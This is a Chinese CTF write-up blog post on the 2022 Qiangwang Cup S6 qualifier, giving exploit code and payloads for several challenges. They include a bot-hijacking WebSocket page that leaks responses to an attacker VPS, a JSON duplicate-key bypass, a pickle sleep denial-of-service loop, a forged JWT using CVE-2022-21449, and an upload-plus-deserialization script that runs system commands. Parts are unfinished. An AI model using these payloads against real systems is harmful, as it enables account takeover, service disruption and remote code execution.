CTF | 2022 强网杯 S6 线上初赛 WriteUp


引言

2022 第六届强网杯全国网络安全挑战赛

线上赛 2022-07-23 09:00 至 2022-07-24 21:00

线下赛 2022-08-20 至 2022-08-21

https://bm.ichunqiu.com/2022qwb

又是一年强网杯,和校内的几个师傅一起来看了看,随便做了点题目,这里就简单记录一下好了。

强网杯的题目还是一如既往的顶啊!

(本来还想赛后再复现整理一下的,但是摸了,放草稿箱里长草了

Web

babyweb

​ 本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为 http://ip:port/

docker run -dit -p “0.0.0.0:pub_port:8888” babyweb

改密码!

User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1

vps上放个页面,让bot访问的时候调用ws,改admin用户的密码为aaa

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script>
        function report(s) {
            document.write('<img src="http://vpsip:port/test?content=' + s + '" alt=""></img>');
        }
    </script>

    <script>
        var ws = null;
        var url = "ws://127.0.0.1:8888/bot";
        ws = new WebSocket(url);
        function send(s) {
            ws.send(s);
            report("send:" + s);
        }
        ws.onopen = function (event) {
            report('connection open!')
            send("help");
            send("changepw aaa");
            send("help");
            send("help");
            // send("bugreport http://127.0.0.1:8888/main");
        }
        ws.onmessage = function (ev) {
            report(ev.data);
        };
        ws.onerror = function () {
            report("connection error");
        };
        ws.onclose = function () {
            report("connection close!");
        };
    </script>
</head>

<body>
</body>

</html>

发送

bugreport http://VPSIP:PORT/bot?adsfja

用 admin/aaa 进入 admin 的账号

余额正好够买个 hint

得到源码

http://182.92.223.176:32311/static/qwb_source_12580.zip

外面一层 python,里面一层 golang

app.py

@app.route("/buy", methods=['POST'])
def buy():
    if not session:
        return redirect('/login')
    elif session['user'] != 'admin':
        return "you are not admin"
    else :
        result = {}
        data = request.get_json()
        product = data["product"]
        for i in product:
            if not isinstance(i["id"],int) or not isinstance(i["num"],int):
                return "not int"
            if i["id"] not in (1,2):
                return "id error"
            if i["num"] not in (0,1,2,3,4,5):
                return "num error"
            result[i["id"]] = i["num"]
        sql = "select money,flag,hint from qwb where username='admin'"
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        cursor = c.execute(sql)
        for row in cursor:
            if len(row):
                money = row[0]
                flag = row[1]
                hint = row[2]
        data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
        r = requests.post("http://127.0.0.1:10002/pay",data).text
        r = json.loads(r)
        if r["error"] != 0:
            return r["error"]
        money = int(r["money"])
        hint = hint + result[1]
        flag = flag + result[2]
        sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        try:
            c.execute(sql)
            conn.commit()
        except Exception as e:
            conn.rollback()
            c.close()
            conn.close()
            return "database error"
        return "success"

pay.go

package main

import (
    "github.com/buger/jsonparser"
    "fmt"
    "net/http"
    "io/ioutil"
    "io"
)

func pay(w http.ResponseWriter, r *http.Request) {
    var cost int64 = 0
    var err1 int64 = 0
    json, _ := ioutil.ReadAll(r.Body)
    secret, err := jsonparser.GetString(json, "secret")
    if err != nil {
        fmt.Println(err)
    }
    if secret != "xxxx"{   //secret已打码
        io.WriteString(w, "{\"error\": \"secret error\"}")
        return
    }
    money, err := jsonparser.GetInt(json, "money")
    if err != nil {
        fmt.Println(err)
    }
    _, err = jsonparser.ArrayEach(
            json,
            func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
                id, _ := jsonparser.GetInt(value, "id")
                num, _ := jsonparser.GetInt(value, "num")
                if id == 1{
                    cost = cost + 200 * num
                }else if id == 2{
                    cost = cost + 1000 * num
                }else{
                    err1 = 1
                }
            },
        "product")
    if err != nil {
        fmt.Println(err)
    }
    if err1 == 1{
        io.WriteString(w, "{\"error\": \"id error\"}")
        return
    }
    if cost > money{
        io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
        return
    }
    money = money - cost
    io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/pay", pay)
    http.ListenAndServe(":10002", mux)
}

golang 这个解析器如果存在多个同样product的话,会取前面的,而python会取后面的

构造payload

POST /buy HTTP/1.1
Host: 182.92.223.176:32311
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 93
Origin: http://182.92.223.176:32311
Connection: close
Referer: http://182.92.223.176:32311/main
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YuVV9g.Us4wSP2MIR-MvtfFnbJ9yTLXHho
Pragma: no-cache
Cache-Control: no-cache

{"product":[{"id":1,"num":0},{"id":2,"num":0}],"product":[{"id":1,"num":0},{"id":2,"num":1}]}

这样 flag=1 就成功进入到 sql 语句中,刷新页面就拿到 flag 了

crash

题目内容:flag in 504 page

直接给了源码

import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0] 
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success") 
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

题目说要 504,那按照 nginx 的默认配置得构造一个让服务超时 60s 的请求

哪里可以超时呢?pickle 本身是没有循环结构的,所以无法构造循环,只能反序列化的时候代码执行一个 time.sleep

(ctime
sleep
I20
o.
    0: (    MARK
    1: c        GLOBAL     'time sleep'
   13: I        INT        20
   17: o        OBJ        (MARK at 0) 
   18: .    STOP
highest protocol among opcodes = 1 

但是按照测试,直接 sleep 30s 以上会把派森杀掉(返回 502,连接被打断)

所以可以开四个 shell,每个挂个 20s 的跑这个

while true
do
curl 'http://47.93.187.169:24375/balancer' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
    -H 'Accept-Language: zh-CN,zh;q=0.9' \
    -H 'Cache-Control: max-age=0' \
    -H 'Cookie: userdata=KGN0aW1lCnNsZWVwCkkyMApvLg==;' \
    -H 'DNT: 1' \
    -H 'Proxy-Connection: keep-alive' \
    -H 'Upgrade-Insecure-Requests: 1' \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36'
done

easyweb

照片墙的内部系统中可能还有什么系统。

http://47.104.95.124:8080/

http://47.104.95.124:8080/showfile.php?f=./demo/../showfile.php

可以读源码

base64 读回来

showfile.php

<?php
error_reporting(0);
require_once('class.php');
$filename = $_GET['f'];

if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
    die("nop");
}
else{
    if(isset($_SESSION)){
        $show = new AdminShow($filename);
        $show->show();
    }else{
        if(preg_match('/guest|demo/i',$filename)) {
            $show = new GuestShow($filename);
            $show->show();
        }else{
            die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
        }
    }
}
?>

index.php

<body>
<h1>欢迎来到强网杯照片墙</h1>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交"><br>
    <a href="showfile.php?f=./demo.png">查看照片</a>

    <?php
    $upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload, 0333, true);
    if(isset($_POST['submit'])) {
        include 'upload.php';
    }
    ?>

</form>
</body>

upload.php

<?php
error_reporting(0);
require_once('class.php');

if(isset($_SESSION)){
    if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
        $_FILES["file"]["name"] = $_GET['fname'];
    }
    $upload = new Upload();
    $upload->upload();
}else {
    die("<p class='tip'>guest can not upload file</p>");
}
?>

class.php

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}

class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

/proc/net/arp 得到内网 http://47.104.95.124:8080/showfile.php?f=./demo/../../../../proc/net/arp

IP address       HW type     Flags       HW address            Mask     Device
10.10.10.10      0x1         0x2         02:42:0a:0a:0a:0a     *        eth1
10.10.10.101     0x1         0x0         00:00:00:00:00:00     *        eth1
172.18.0.1       0x1         0x2         02:42:18:cb:f4:43     *        eth0

这里要构造个反序列化链,绕过那个 __wakeup

大概记得最后这个内网的还不能直接读,还得提权,有个带了 suid 的借用一下就行(

(本来打算复现下的,但是咕了.jpg 后面环境就没了

Crypto

myJWT

自己实现了个 jwt,用 java 写的 ECDSA SHA384withECDSAinP1363Format

正好想到之前那个洞 CVE-2022-21449,Java 签名的时候没有校验是否值为0

https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/

先拿个token

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoibWlhbyIsImFkbWluIjpmYWxzZSwiZXhwIjoxNjU5MjAzNTk4NzQzfQ==.mN_kLa_Xb_eHYC45AhTnQozRyHjHaJy_ecK0xT2YeGA_qPKQ32_2Ls7qlkK5tCYLp1O2alvwmANUKsVkGI7GYwVGoi_cXtk7oeAq1OJaDGAGnoVr1ytoVZhLkpLGdC9i

把 admin 改为 true

{"iss":"qwb","name":"miao","admin":true,"exp":1659203758911}

再让校验部分为90个 0x00 就行了

payload:

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoibWlhbyIsImFkbWluIjp0cnVlLCJleHAiOjE2NTkyMTM1OTg3NDN9.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}

强网先锋

Rcefile

/www.zip 读源码,发现可以上传.inc文件,而且config.inc.php文件中有spl_autoload_register();

exp脚本:

(因为类名不能以数字开头,所以需要多跑几次)

import requests
from hashlib import md5
from datetime import datetime
from urllib.parse import quote

unix_timestamp = int(datetime.now().timestamp())

classname = md5(str(unix_timestamp).encode()).hexdigest()

file_pl = '''<?php
class %s {
    public function __wakeup() {
        system("cat /flag");
    }
}''' % classname

sess_pl = 'O:32:"' + classname + '":0:{}'

target = 'http://eci-2ze1o95qor1nxcykpgvs.cloudeci1.ichunqiu.com'
# target = 'http://localhost:8000'

res = requests.post(target + "/upload.php", files={'file': (f'123.inc', file_pl, 'image/png')})

print(res.text[-100:])
print(sess_pl)
print(quote(sess_pl))

res = requests.get(target + "/showfile.php", headers={'Cookie': 'userfile=' + quote(sess_pl)})
print(res.text)

ASR

n=2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001^2

P39 = 260594583349478633632570848336184053653 
P39 = 225933944608558304529179430753170813347 
P39 = 218566259296037866647273372633238739089 
P39 = 223213222467584072959434495118689164399

TODO

Misc

签到

flag{we1come_t0_qwb_s6}

问卷调查

填问卷

Pwn

GetFree, GetRoot, GetHyper

proof-of-work 代码

from hashlib import sha256

def pow():
    p.recvuntil(b"prefix: ")
    prefix = bytes.fromhex(p.recvline(False).decode())

    p.recvuntil(b"target: ")
    target = bytes.fromhex(p.recvline(False).decode())

    p.recv()

    for i in range(256):
        for j in range(256):
            for k in range(256):
                input = i.to_bytes(1, 'little') + j.to_bytes(1, 'little') + k.to_bytes(1, 'little')
                txt = prefix + input
                res = sha256(txt).digest()
                if res == target:
                    p.sendline('%02x%02x%02x' % (i, j, k))
                    return

GetRoot

连接上之后是一个qemu monitor
1 -> New Note,参数1:index,参数2:?
2 -> Edit Note,参数1:index,参数2:?
3 -> Del Note,参数1:index
4 -> 1个参数,功能未知
5 -> echo,参数1:内容
6 -> echo echo,参数1:内容,参数1:内容
7 -> echo,参数1:内容
8 -> reboot

House of cat

Large bin attack?

def add(idx, size, content):
    '''
    idx: [0, 16]
    size: (0x417, 0x46f]
    '''
    p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
    sleep(0.1)
    p.sendafter(b'cat choice:\n', b'1')
    sleep(0.1)
    p.sendafter(b'cat idx:\n', str(idx))
    sleep(0.1)
    p.sendafter(b'cat size:\n', str(size))
    sleep(0.1)
    p.sendafter(b'content:\n', content)
    sleep(0.1)

def delete(idx):
    '''
    idx: [0, 16]
    '''
    p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
    sleep(0.1)
    p.sendafter(b'cat choice:\n', b'2')
    sleep(0.1)
    p.sendafter(b'cat idx:\n', str(idx))
    sleep(0.1)

def view(idx):
    '''
    idx: [0, 16]
    '''
    p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
    sleep(0.1)
    p.sendafter(b'cat choice:\n', b'3')
    sleep(0.1)
    p.sendafter(b'cat idx:\n', str(idx))
    sleep(0.1)
    p.recvuntil(b'Context:\n')
    return p.recvline()

def edit(idx, content):
    '''
    idx: [0, 16]
    content: 0x30
    '''
    p.sendafter(b'~~~~~~\n', b'CAT | r00t QWBQWXF \xFF\xFF\xFF\xFF$args')
    sleep(0.1)
    p.sendafter(b'cat choice:\n', b'3')
    sleep(0.1)
    p.sendafter(b'cat idx:\n', str(idx))
    sleep(0.1)
    p.sendafter(b'content:\n', content)
    sleep(0.1)

p.sendafter(b'~~~~~~\n', b'LOGIN | r00t QWBQWXF admin')
sleep(0.1)

// TODO

未完待续

小结

唉,难难

最后咱也就水了个 强网先锋 的证书,摸了

前 32 名也太卷啦!

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录